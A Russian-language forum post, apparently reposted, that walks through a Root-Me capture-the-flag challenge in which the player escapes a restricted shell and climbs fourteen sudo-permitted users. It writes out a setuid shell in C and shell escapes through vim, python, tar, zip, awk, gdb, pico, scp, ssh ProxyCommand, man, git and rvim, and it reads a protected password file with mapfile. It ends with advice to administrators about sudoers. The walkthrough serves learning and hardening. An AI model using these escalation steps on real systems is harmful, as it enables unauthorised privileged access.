На заметку Способ повышения себе привелегий, или ломаем Линукс и проходим задание Root-Me


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 082
Репутация
8 199
00a6558edbcf4566b6033f60e21acb3d.png


Тут на форуме где-то был вопрос как пройти тестовые задания для хакера, давайте разбиаться на примере задания с сайта . Итак, начнём.

Пользователь ch14-1

После подключения по SSH мы попадаем на первого пользователя, и видим подсказку: «Всегда проверять sudo -l». Но для начала нужно обойти первую преграду, это rbash, который часто рекомендуют использовать для ограничения действий пользователя в командной оболочке. И действительно, с виду, он является хорошим решением, но не всегда!

Нас лишили возможности использовать ls, но мы можем отобразить содержимое любой директории используя echo:

app-script-ch14@challenge02:~$ echo ./step1/*
./step1/vim

Обычно, список бинарников разрешённых к запуску в rbash находится в так называемой домашней директории. В данном случае нам доступен vim, используя который мы можем выйти в нормальную оболочку. Запускаем vim и вводим команды:


:set shell=/bin/bash
:shell

a0659764e4e64354a2285ceb3475c9a8.png


Sudo разрешает нам запустить python, а учитывая его безграничные возможности это не совсем безопасно, и вот почему:

app-script-ch14@challenge02:~$ /usr/bin/sudo -u app-script-ch14-2 /usr/bin/python

Вводим следующие команды:

>>> import os
>>> os.system('/bin/bash')

37ce162a551540239bd8dc8bd3adfd59.png


Пользователь ch14-2

И попадаем на следующего пользователя, которому доступен архиватор tar.

app-script-ch14-2@challenge02:~$ /usr/bin/sudo -l
(app-script-ch14-3) NOPASSWD: /bin/tar

Казалось бы, что в этом опасного? Однако tar, как и многие другие архиваторы, позволяет упаковывать и распаковывать файл сохраняя права доступа к нему. Создадим файл shell.c следующего содержания:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());

execve("/bin/sh", argv, envp);
return 0;
}

Компилируем и добавляем SUID бит:

app-script-ch14-2@challenge02:/tmp/lev2$ gcc shell.c -o shell && chmod 777 shell && chmod +s shell

Теперь распаковываем с сохранением прав используя sudo:

app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -cf ./test.tar ./shell
app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -xvpf ./test.tar

В результате, после разархивирования, файл shell обретает нового владельца. В этом можно убедиться выполнив ls -ahl:
-rwsrwsrwx 1 app-script-ch14-3 app-script-ch14 7.2K Feb 14 22:39 shell
После запуска попадаем на следующий уровень:

7b8dcc18693e48a8b76587cb438d22a9.png


Пользователь ch14-3

Снова проверяем sudo:

app-script-ch14-3@challenge02:/tmp/lev2$ sudo -l
(app-script-ch14-4) NOPASSWD: /usr/bin/zip

На этот раз уже лучше, по умолчанию, zip только упаковывает файлы, для распаковки нужен unzip, который мы запустить не можем, или можем?

Заглянув в man по zip'у, находим там интересный параметр:
-TT cmd --unzip-command cmd
Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used. On Unix, to use a copy of unzip in the current directory instead of the standard system unzip, could use:

zip archive file1 file2 -T -TT "./unzip -tqq"

In cmd, {} is replaced by the name of the temporary archive, otherwise the name of the archive is appended to the end of the command. The return code is checked for success (0 on Unix)
Вот и ответ. Запускаем архивацию с последующим тестированием архива, а в качестве команды для проверки, указываем unzip, который распакует файл в текущую директорию, естественно с сохранением прав доступа:

app-script-ch14-3@challenge02:/tmp/lev2$ sudo -u app-script-ch14-4 /usr/bin/zip z shell -TT '/usr/bin/unzip -K {}' -T
updating: shell (deflated 67%)
Archive: ziFiNi11
replace shell? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
inflating: shell
test of z.zip OK

Проверяем результат:

app-script-ch14-3@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-4 app-script-ch14 7.2K Feb 15 21:48 shell

7add4a5272364719bd77922f0d948da0.png


Пользователь ch14-4

Смотрим, что ему доступно:

app-script-ch14-4@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD
(app-script-ch14-5) NOPASSWD: /usr/bin/awk

Ну тут всё просто, достаточно выполнить команду, описание которой можно легко найти в сети:

awk 'BEGIN {system("/bin/bash")}'

2532890cb39a421bbdf5b8f8e7f51a3d.png


Пользователь ch14-5

Новый пользователь и новые ограничения:

app-script-ch14-5@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD
(app-script-ch14-6) NOPASSWD: /usr/bin/gdb

GDB довольно мощный отладчик, и способов вызвать bash у него гораздо больше:
Первый это через встроенный Python:

(gdb) python import os; os.system('id')
uid=1506(app-script-ch14-6) gid=1314(app-script-ch14) groups=1314(app-script-ch14),100(users)
(gdb) python import os; os.system('/bin/bash')

Либо аналогично, как это делали с vim:

app-script-ch14-5@challenge02:/tmp/lev2$ sudo -u app-script-ch14-6 /usr/bin/gdb -q -ex "set shell='/bin/bash'" /bin/ls
(gdb) shell

6ad7793e1fa4431cb0bed60e372019f4.png


Пользователь ch14-6

Если вы думаете: «Что можно сделать через такой простой редактор как pico», то вероятно вы не знаете про его проверку орфографии, о которой кстати написано в man'е. А сказано там следующее, что в качестве утилиты для проверки орфографии, мы можем указать всё что угодно. У нас уже есть отличный бинарник для запуска оболочки, нужно только придать ему соответствующие права. Для этого создадим файл spellbash.sh со следующим содержимым:

spellbash.sh

Изменяем права:

chmod 777 spellbash.sh

И запускаем pico, передав ему в качестве программы для проверки орфографии наш скрипт:

app-script-ch14-6@challenge02:/tmp/lev2$ sudo -u app-script-ch14-7 /usr/bin/pico -s ./spellbash.sh

602747d2e22e440e8232686d817f777f.png


После успешной проверки орфографии и закрытия редактора, наш скрипт готов к запуску:

app-script-ch14-6@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-7 app-script-ch14 7.2K Feb 15 23:02 shell

8196539ca20d4c24944d6bf149649e5e.png


Пользователь ch14-7

Ну комментировать все последствия предоставления доступа к копированию файлов по сети не нужно, однако так как доступа в сеть у нас нет, то запустив man, узнаём следующее:
-S program — Name of program to use for the encrypted connection. The program must understand ssh(1) options.
Ок, действия аналогичны прошлому уровню:

app-script-ch14-7@challenge02:/tmp/lev2$ sudo -u app-script-ch14-8 /usr/bin/scp -S ./spellbash.sh 127.0.0.1:/tmp/z.zip ./
app-script-ch14-7@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-8 app-script-ch14 7.2K Feb 15 23:09 shell

a8cfdb2281494c9d99545a638f56fc09.png


Пользователь ch14-8

А вот это уже интересно. Однако и тут есть подводные камни. Так например, если запустить man, и в интерактивном режиме нажать "h", будет показана справка, в которой можно обнаружить вот такую запись:
!command Execute the shell command with $SHELL.
Прямое исполнение команд оболочки. То что нам нужно, открываем man для любой команды, и вводим !/bin/bash:

app-script-ch14-8@challenge02:/tmp/lev2$ sudo -u app-script-ch14-9 /usr/bin/man ls

cac0a432f5b441f9894aa7ef3beb62bd.png


Пользователь ch14-9

Так как прав выполнить подключение к внешнему серверу у нас нет, то нужен способ выполнить команду, ещё до установки соединения. И такая возможность есть, воспользуемся советом, описанным :

app-script-ch14-9@challenge02:/tmp/lev2$ sudo -u app-script-ch14-10 /usr/bin/ssh -o ProxyCommand="sh -c './spellbash.sh'" 127.0.0.1

Получаем сообщение о том, что соединение сброшено, но это нем и не важно, ведь:

app-script-ch14-9@challenge02:/tmp/lev2$ ls -ahl shell
-rwsrwsrwx 1 app-script-ch14-10 app-script-ch14 7.2K Feb 18 21:34 shell

2063d803a1654bb68ac6886b1ed89abd.png


Пользователь ch14-10

Git так же предоставляет множество способов выполнить стороннюю команду, мы воспользуемся наиболее простым из них, который мы использовали с man:

app-script-ch14-10@challenge02:/tmp/lev2$ sudo -u app-script-ch14-11 /usr/bin/git help status

Далее вводим !/bin/bash и попадаем на следующего пользователя:

71706ea5d0724dbea1a331d56ffa2eed.png


Пользователь ch14-11

Вот мы и дошли до ещё одного распространённого совета, вместо vim использовать его ограниченную версию rvim и вот почему: Попробовав тот же способ, что использовался в самом начале для vim, получаем ошибку:

37919cb853a8482795c2985427267449.png


Но и тут есть лазейки… Просматривая список доступных команд, можно наткнуться на команды :python и :lua. Ограниченный от прямого исполнения команд rvim оказался не таким уж и безопасным.

:python import os; os.system('gcc shell.c -o shell && chmod 777 shell && chmod +s shell')

41afcc5fdbd74582966a8236c86baac6.png


Пользователь ch14-12

script запускает новую сессию, и полностью логирует всё в указанный файл, так что просто запускаем:

app-script-ch14-12@challenge02:/tmp/lev2$ sudo -u app-script-ch14-13 /usr/bin/script script.sh

3bc1d12ba95044199125d0e5eef48dd6.png


Пользователь ch14-13

Тут тоже ничего сложного, поэтому просто запускаем и снова попадаем в «начало»:

app-script-ch14-13@challenge02:/tmp/lev2$ sudo -u app-script-ch14-14 /bin/rbash --

782244c183e2451fa7afaf954eb9b279.png


Пользователь ch14-14

На этот раз авторы учли ошибки, и убрали vim:

app-script-ch14-14@challenge02:~/step14$ echo ./*
./sl

При выполнении команды, как можно догадаться появляется анимация локомотива и надпись THE GAME IS OVER!
Но содержимое файла .passwd, требуемое по условию задания, мы так и не получили. Значит это ещё не конец.

Посмотрим список команд, которые доступны:
Код:
!                         elif                      pushd
./                        else                      pwd
:                         enable                    readonly
[                         esac                      return
[[                        eval                      select
]]                        exit                      set
alias                     export                    shift
bg                        false                     shopt
bind                      fc                        sl
break                     fg                        suspend
builtin                   fi                        test
caller                    for                       then
case                      function                  time
cd                        getopts                   times
command                   hash                      trap
command_not_found_handle  help                      true
compgen                   history                   type
complete                  if                        typeset
compopt                   in                        ulimit
continue                  jobs                      umask
coproc                    kill                      unalias
declare                   let                       unset
dirs                      local                     until
disown                    logout                    wait
do                        mapfile                   while
done                      popd                      {
echo                      printf                    }



Не густо, однако есть несколько способов получить содержимое файла .passwd, здесь будет только 1 из них, остальные оставлю вам на самостоятельный поиск. И так, просматривая help по каждой доступной команде, находим одну из них довольно интересной:
mapfile: mapfile [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array]
Read lines from the standard input into an indexed array variable.

Read lines from the standard input into the indexed array variable ARRAY, or
from file descriptor FD if the -u option is supplied. The variable MAPFILE
is the default ARRAY.

Options:
-n count Copy at most COUNT lines. If COUNT is 0, all lines are copied.
-O origin Begin assigning to ARRAY at index ORIGIN. The default index is 0.
-s count Discard the first COUNT lines read.
-t Remove a trailing newline from each line read.
-u fd Read lines from file descriptor FD instead of the standard input.
-C callback Evaluate CALLBACK each time QUANTUM lines are read.
-c quantum Specify the number of lines read between each call to CALLBACK.

Arguments:
ARRAY Array variable name to use for file data.

If -C is supplied without -c, the default quantum is 5000. When
CALLBACK is evaluated, it is supplied the index of the next array
element to be assigned and the line to be assigned to that element
as additional arguments.

If not supplied with an explicit origin, mapfile will clear ARRAY before
assigning to it.

Exit Status:
Returns success unless an invalid option is given or ARRAY is readonly or
not an indexed array.
После недолгих поисков в сети примеров её использования, находим , которая как раз описывает способ чтения произвольного файла в переменную окружения, используя эту команду.

Воспользовавшись советом, выполняем:

app-script-ch14-14@challenge02:~/step14$ mapfile ARRAY < ../.passwd ARRAY
app-script-ch14-14@challenge02:~/step14$ echo $ARRAY

И получаем искомый пароль.

Теперь, добавляя возможность запуска какой-либо программы в файл sudoers, не поленитесь и ознакомьтесь с полным её описанием, ведь возможно именно она станет основной дырой в безопасности.

P.S. На самом деле для каждого из уровней есть своё определённое множество решений, и найти свой собственный путь будет гораздо интереснее.

Источник:
 
Верх Низ